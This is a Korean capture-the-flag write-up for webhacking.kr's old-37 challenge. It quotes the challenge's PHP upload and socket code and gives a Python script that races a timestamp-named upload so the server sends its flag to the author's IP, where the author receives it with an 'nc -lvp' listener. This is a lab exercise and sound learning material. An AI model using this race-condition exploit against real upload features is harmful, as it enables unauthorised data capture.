본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-37

Write-Up

 

그림 1

 

위 그림 1과 같이 페이지에는 파일을 업로드할 수 있는 기능이 존재하며, 새로 고침 시, tmp- {$time}의 파일이 생성되고, 해당 파일에는 127.0.0.1 이 쓰여진다. ( 아래 그림 2를 확인하도록 한다. )

 

그림 2

 


  $file_nm = $_FILES['upfile']['name'];
  $file_nm = str_replace("<","",$file_nm);
  $file_nm = str_replace(">","",$file_nm);
  $file_nm = str_replace(".","",$file_nm);
  $file_nm = str_replace("/","",$file_nm);
  $file_nm = str_replace(" ","",$file_nm);

  if($file_nm){
    $p = fopen("./tmp/{$file_nm}","w");
    fwrite($p,$_SERVER['REMOTE_ADDR']);
    fclose($p);
  }

 

 

GO!.txt 란 파일을 업로드해보았다. 위 코드에 의해 upload 된 file 명이 수정되며, GO!txt 파일로 업로드 되어졌고, 해당 파일에는 REMOTE_ADDR이 쓰여지게 됐다. 

 

그림 3

 


 

  $host = file_get_contents("tmp/tmp-{$time}");

  $request = "GET /?{$flag} HTTP/1.0\r\n";
  $request .= "Host: {$host}\r\n";
  $request .= "\r\n";

  $socket = fsockopen($host,7777,$errstr,$errno,1);
  fputs($socket,$request);
  fclose($socket);

 

위 코드를 보면, file_get_contents() 함수로, 파일 내용을 읽는다. 즉, 타이밍에 맞춰, tmp-{$time}에 맞는 파일명을 업로드 한다면, 나의 IP가 적힌 파일이 업로드된 후, $host 변수에 초기화될 수 있다. 아래의 파이썬 코드를 사용해, tmp-{$time}의 파일명에 맞는 request를 보냈다. 

 

import requests
from time import *

url = 'https://webhacking.kr/challenge/web-18/index.php'

session = requests.session()
cookies = {'PHPSESSID':'el370slbv2b0j'}


fn = 'tmp-{}'.format(int(time()))
files = {
    'upfile' : (fn,'wargame')
}
session.post(url,files=files,cookies=cookies)

 

위의 코드를 실행 시키 전에 nc -lvp ( 수신 포트 ) 명령을 통해 리스닝 상태여야 한다. 

 

그림 4

 

물론, 위 그림 4와 같이 포트포워딩 설정이 필요하고, 방화벽까지 내려줘야 한다. 그럼 결과는 아래와 같다. 

 

그림 5

 

 

 

참고

 

https://wikidocs.net/209596

 

[PHP 디렉토리] 지정된 경로 내의 파일 및 디렉토리를 나열하기 <scandir>

PHP에서 **지정된 경로 내의 파일 및 디렉토리를 나열**하려면 `scandir` 함수를 사용합니다. # scandir 함수 예제 `scandir` 함수를 사용하는…

wikidocs.net